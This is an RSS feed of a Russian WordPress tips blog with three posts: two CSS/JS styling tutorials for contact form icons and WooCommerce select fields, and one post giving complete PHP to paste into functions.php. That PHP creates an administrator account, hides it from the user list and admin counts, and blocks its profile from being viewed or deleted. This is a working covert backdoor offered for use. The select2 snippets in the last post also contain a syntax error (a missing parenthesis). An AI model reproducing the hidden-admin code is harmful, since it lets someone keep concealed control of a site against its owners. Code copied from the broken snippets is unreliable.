<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>WEB PANDA</title><generator>teletype.in</generator><description><![CDATA[WEB PANDA]]></description><image><url>https://img4.teletype.in/files/f9/84/f9842c9e-9283-465d-91dd-1c62d8430cc1.png</url><title>WEB PANDA</title><link>https://teletype.in/@web_panda</link></image><link>https://teletype.in/@web_panda?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=web_panda</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/web_panda?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/web_panda?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Mon, 10 Aug 2026 03:33:00 GMT</pubDate><lastBuildDate>Mon, 10 Aug 2026 03:33:00 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@web_panda/hide_user_wp</guid><link>https://teletype.in/@web_panda/hide_user_wp?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=web_panda</link><comments>https://teletype.in/@web_panda/hide_user_wp?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=web_panda#comments</comments><dc:creator>web_panda</dc:creator><title>Создание скрытого пользователя wordpress</title><pubDate>Mon, 24 Oct 2022 09:10:51 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/da/bf/dabf2298-5f02-4c1b-9d5a-5c23323b6b3f.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/c7/8d/c78d4d24-89c6-4c58-b576-0d2f695c14f4.png"></img>Следующий код позволит вам создать скрытого пользователя. Вставлять код надо в functions.php темы или в любое другое место, где выполняется php код.]]></description><content:encoded><![CDATA[
  <p id="xuVK">Следующий код позволит вам создать скрытого пользователя. Вставлять код надо в functions.php темы или в любое другое место, где выполняется php код.</p>
  <pre id="ffLP">add_action(&#x27;pre_user_query&#x27;,&#x27;webpanda_protect_user_query&#x27;);
add_filter(&#x27;views_users&#x27;,&#x27;protect_user_count&#x27;);
add_action(&#x27;load-user-edit.php&#x27;,&#x27;webpanda_protect_users_profiles&#x27;);
add_action(&#x27;admin_menu&#x27;, &#x27;protect_user_from_deleting&#x27;);
 
function webpanda_protect_user_query( $user_search ) {
	$user_id = get_current_user_id();
	$id = get_option(&#x27;_pre_user_id&#x27;);
 
	if ( is_wp_error( $id ) || $user_id == $id)
		return;
 
	global $wpdb;
	$user_search-&gt;query_where = str_replace(&#x27;WHERE 1=1&#x27;,
				&quot;WHERE {$id}={$id} AND {$wpdb-&gt;users}.ID&lt;&gt;{$id}&quot;,
				$user_search-&gt;query_where
				);
}
 
function protect_user_count( $views ){
 
	$html = explode(&#x27;&lt;span class=&quot;count&quot;&gt;(&#x27;,$views[&#x27;all&#x27;]);
	$count = explode(&#x27;)&lt;/span&gt;&#x27;,$html[1]);
	$count[0]--;
	$views[&#x27;all&#x27;] = $html[0].&#x27;&lt;span class=&quot;count&quot;&gt;(&#x27;.$count[0].&#x27;)&lt;/span&gt;&#x27;.$count[1];
 
	$html = explode(&#x27;&lt;span class=&quot;count&quot;&gt;(&#x27;,$views[&#x27;administrator&#x27;]);
	$count = explode(&#x27;)&lt;/span&gt;&#x27;,$html[1]);
	$count[0]--;
	$views[&#x27;administrator&#x27;] = $html[0].&#x27;&lt;span class=&quot;count&quot;&gt;(&#x27;.$count[0].&#x27;)&lt;/span&gt;&#x27;.$count[1];
 
	return $views;
}
 
function webpanda_protect_users_profiles() {
	$user_id = get_current_user_id();
	$id = get_option(&#x27;_pre_user_id&#x27;);
 
	if( isset( $_GET[&#x27;user_id&#x27;] ) &amp;&amp; $_GET[&#x27;user_id&#x27;] == $id &amp;&amp; $user_id != $id)
		wp_die(__( &#x27;Invalid user ID.&#x27; ) );
}
 
function protect_user_from_deleting(){
 
	$id = get_option(&#x27;_pre_user_id&#x27;);
 
	if( isset( $_GET[&#x27;user&#x27;] ) &amp;&amp; $_GET[&#x27;user&#x27;]
	&amp;&amp; isset( $_GET[&#x27;action&#x27;] ) &amp;&amp; $_GET[&#x27;action&#x27;] == &#x27;delete&#x27;
	&amp;&amp; ( $_GET[&#x27;user&#x27;] == $id || !get_userdata( $_GET[&#x27;user&#x27;] ) ) )
		wp_die(__( &#x27;Invalid user ID.&#x27; ) );
 
}
 
$args = array(
	&#x27;user_login&#x27; =&gt; &#x27;Ваш логин пользователя&#x27;,
	&#x27;user_pass&#x27; =&gt; &#x27;Пароль&#x27;,
	&#x27;role&#x27; =&gt; &#x27;administrator&#x27;,
	&#x27;user_email&#x27; =&gt; &#x27;Емайл&#x27;
);
 
if( !username_exists( $args[&#x27;user_login&#x27;] ) ){
	$id = wp_insert_user( $args );
	update_option(&#x27;_pre_user_id&#x27;, $id);
 
	// если мультисайт, то можно и суперадминистратора добавить
	// grant_super_admin( $id );
} else {
	$hidden_user = get_user_by( &#x27;login&#x27;, $args[&#x27;user_login&#x27;] );
	if ( $hidden_user-&gt;user_email != $args[&#x27;user_email&#x27;] ) {
		$id = get_option( &#x27;_pre_user_id&#x27; );
		$args[&#x27;ID&#x27;] = $id;
		wp_insert_user( $args );
	}	
}</pre>
  <p id="9li2"><br />Логин и пароль находится тут. Вам надо поменять на свои:</p>
  <figure id="Ys80" class="m_column">
    <img src="https://img1.teletype.in/files/c7/8d/c78d4d24-89c6-4c58-b576-0d2f695c14f4.png" width="589" />
  </figure>
  <p id="p6JF"><a href="https://misha.agency/wordpress/create-hidden-user.html" target="_blank">Источник статьи </a></p>
  <p id="kocM"><a href="https://t.me/web_panda" target="_blank">Пост канала @web_panda</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@web_panda/icon-form</guid><link>https://teletype.in/@web_panda/icon-form?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=web_panda</link><comments>https://teletype.in/@web_panda/icon-form?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=web_panda#comments</comments><dc:creator>web_panda</dc:creator><title>Добавление иконки в поле в форме любого плагина</title><pubDate>Thu, 20 Oct 2022 11:57:17 GMT</pubDate><description><![CDATA[<img src="https://img3.teletype.in/files/a1/bc/a1bc902b-17d3-4cbb-9bea-881a9dd67044.jpeg"></img>Всем привет! Это продолжение поста про добавление иконки в контактную форму.]]></description><content:encoded><![CDATA[
  <p id="8bDi">Всем привет! Это продолжение поста про добавление иконки в контактную форму.</p>
  <h2 id="HpiH">Находим нужный нам селектор (класс)</h2>
  <p id="0cvj">Для того чтобы найти нужный класс, нам нужно нажать на элемент правой кнопкой мыши и <strong>просмотреть код элемента.</strong></p>
  <p id="6Frf">Я заранее задал класс &quot;phone-field-icon&quot; при создании поля с номером телефона и &quot;name-field-icon&quot; для поля с именем.</p>
  <p id="8pA2">Ниже оставил два скриншота добавления классов для двух популярных плагинов (wpforms и contact form 7). В других контактных плагинах должно быть что-то похожее. Если нет, то не волнуйтесь — это необязательно.</p>
  <section style="background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="3lrW">Желательно задавать класс, чтобы случайно не задеть другие поля.</p>
  </section>
  <figure id="lImr" class="m_column">
    <img src="https://img3.teletype.in/files/a1/bc/a1bc902b-17d3-4cbb-9bea-881a9dd67044.jpeg" width="1542" />
    <figcaption>Добавление класса в wpforms</figcaption>
  </figure>
  <figure id="GcWj" class="m_column">
    <img src="https://img4.teletype.in/files/3c/2a/3c2aca34-02bc-4d89-a05e-fb8616510d79.jpeg" width="1108" />
    <figcaption>Добавление класса в contact form 7</figcaption>
  </figure>
  <pre id="axkZ">// код для добавления класса cf7
&lt;div class=&quot;name-field-icon&quot;&gt;ШОРТКОД ПОЛЯ&lt;/div&gt;</pre>
  <p id="s4UH"></p>
  <p id="lnpz">Теперь найдем этот класс на странице:</p>
  <figure id="1djg" class="m_column">
    <img src="https://img1.teletype.in/files/c1/0e/c10e8b9c-dff0-4c87-b657-819a0a8bba7c.jpeg" width="903" />
    <figcaption>1 шаг</figcaption>
  </figure>
  <figure id="LdB5" class="m_column">
    <img src="https://img2.teletype.in/files/d0/04/d004cdf0-2ac6-49f6-9971-ee1c13ed387f.jpeg" width="1907" />
    <figcaption>2 шаг</figcaption>
  </figure>
  <h2 id="Qp8X">Прописываем css код</h2>
  <p id="fec0">Для cf7 прописываем такой код:</p>
  <pre id="5CHv">.name-field-icon .wpcf7-form-control-wrap {
    position: relative;
}

.name-field-icon .wpcf7-form-control-wrap::after {
    position: absolute;
    left: 0;
    top: 0;
    content: &#x27;&#x27;;
    width: 50px;
    height: 100%;
    background: #eee url(&#x27;http://test.local/wp-content/uploads/2022/10/159832.png&#x27;) center center no-repeat;
    background-size: 25px;
}

.name-field-icon input {
    padding-left: 60px;
}</pre>
  <p id="A2fR">Отредактируйте тут <strong>width, url (адрес иконки),  padding-lef </strong>и <strong>background-size</strong> под свой проект.</p>
  <p id="uNPf"></p>
  <p id="Sfdc">Для wpforms прописываем такой код:</p>
  <pre id="ci8p">.phone-field-icon {
    position: relative !important;
 }

.phone-field-icon::after {
    position: absolute;
    left: 1px;
    top: 36px;
    content: &#x27;&#x27;;
    width: 36px;
    height: 36px;
    background: #eee url(&#x27;http://test.local/wp-content/uploads/2022/10/159832.png&#x27;) center center no-repeat;
    background-size: 21px;
}</pre>
  <p id="m2hi">У wpforms другая структура кода, поэтому код css довольно сильно изменился, но принципы остались такие же.</p>
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="r5Hk"><strong>Код ориентировочный!</strong> Вам надо отредактировать значения под свой проект. Если возникнут трудности, то пишите в комментарии.</p>
  </section>
  <p id="S5iE"></p>
  <p id="aArY"><a href="https://t.me/web_panda" target="_blank">Пост канала @web_panda</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@web_panda/select-woocommerce</guid><link>https://teletype.in/@web_panda/select-woocommerce?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=web_panda</link><comments>https://teletype.in/@web_panda/select-woocommerce?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=web_panda#comments</comments><dc:creator>web_panda</dc:creator><title>Стилизация woocommerce select</title><pubDate>Wed, 19 Oct 2022 05:34:39 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/a6/5d/a65df566-0869-4d5f-adc7-e5802c6c7748.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/56/04/5604da41-603a-4781-93f7-5174009ae888.jpeg"></img>Всем привет! Это продолжение поста про стилизацию select.]]></description><content:encoded><![CDATA[
  <p id="Y9Et">Всем привет! Это <a href="https://t.me/web_panda/18" target="_blank">продолжение поста про стилизацию select.</a></p>
  <h2 id="GR2A">Добавление обычного select</h2>
  <p id="LxcM">Для начала нам надо создать обычный select. Это можно сделать с помощью <a href="https://wordpress.org/plugins/search/checkout+fields/" target="_blank">специальных плагинов</a>  или с <a href="https://misha.agency/woocommerce/rukovodstvo-po-dobavleniyu-polej-na-straniczu-oformleniya-zakaza.html" target="_blank">помощью кода</a></p>
  <p id="pcF5">Лично я сделал через код:</p>
  <pre id="jRBQ">add_action( &#x27;woocommerce_before_order_notes&#x27;, &#x27;webPanda_custom_woo_fields&#x27; );
 
function webPanda_custom_woo_fields() {
	woocommerce_form_field( 
		&#x27;billing_contactmethod&#x27;, 
		array(
			&#x27;type&#x27;          =&gt; &#x27;select&#x27;, // text, textarea, select, radio, checkbox, password
			&#x27;required&#x27;	=&gt; true, // по сути только добавляет значок &quot;*&quot; и всё
			&#x27;class&#x27;         =&gt; array( &#x27;panda-field&#x27;, &#x27;form-row-wide&#x27; ), // массив классов поля
			&#x27;label&#x27;         =&gt; &#x27;Предпочитаемый метод связи&#x27;,
			&#x27;label_class&#x27;   =&gt; &#x27;panda-label&#x27;, // класс лейбла
			&#x27;options&#x27;	=&gt; array( // options for  or 
				&#x27;&#x27;		=&gt; &#x27;Выберите&#x27;, // пустое значение
				&#x27;По телефону&#x27;	=&gt; &#x27;По телефону&#x27;, // &#x27;значение&#x27; =&gt; &#x27;заголовок&#x27;
				&#x27;По email&#x27;	=&gt; &#x27;По email&#x27;
			)
		)
	);
}</pre>
  <p id="5DvK"></p>
  <h2 id="GWsc">Связка библиотеки select2 с полем, которое создали</h2>
  <p id="JVm6">Тут всё довольно просто. Нам надо подключить следующий js код. Прошу заметить, что <strong>в условии мы вставляем id без #, а далее уже вместе с #.</strong></p>
  <pre id="eJn7">jQuery(document).ready(function ($) {
	if (document.getElementById(&#x27;billing_contactmethod&#x27;) {
    	$(&#x27;#billing_contactmethod&#x27;).select2({
		    minimumResultsForSearch: -1
		});
	}
});</pre>
  <p id="qTHl"><em>Не знаете, как вставить код? Используйте woody code snippets. Создайте там js сниппет и выберите в условиях отображения: &quot;показывать везде&quot;.</em></p>
  <p id="Tayy"><strong>Откуда взять id поля?</strong> ID поле вы задаёте при создании этого поля. Самый простой способ — это посмотреть в консоли. Скрин ниже.</p>
  <figure id="m5si" class="m_column">
    <img src="https://img2.teletype.in/files/56/04/5604da41-603a-4781-93f7-5174009ae888.jpeg" width="1445" />
    <figcaption>просмотр id в консоли</figcaption>
  </figure>
  <p id="4Xbv">Если вы хотите <strong>добавить в ваш select поле поиска</strong>, то удалите строчку &#x27; minimumResultsForSearch: -1&#x27; . Тогда ваш код должен быть таким:</p>
  <pre id="pPsg">jQuery(document).ready(function ($) {
	if (document.getElementById(&#x27;billing_contactmethod&#x27;) {
    	$(&#x27;#billing_contactmethod&#x27;).select2();
	}
});</pre>
  <p id="k7dz"></p>
  <h2 id="admn">Стилизация поля</h2>
  <p id="SBjz">Далее уже можно находить элементы через консоль и добавлять им стили через обычный css, так как всё сделано на div, то абсолютно любые стили будет применяться.</p>
  <section style="background-color:hsl(hsl(236, 74%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="9AEv">Рекомендую делать вложенность #ваш_id .css_селектор, чтобы случайно не задеть другие select поля.</p>
  </section>
  <hr />
  <p id="ei5Q">Если возникли проблемы, то пишите их в чат <a href="https://t.me/inweb_chat" target="_blank">https://t.me/inweb_chat</a></p>
  <p id="aArY"><a href="https://t.me/web_panda" target="_blank">Пост канала @web_panda</a></p>

]]></content:encoded></item></channel></rss>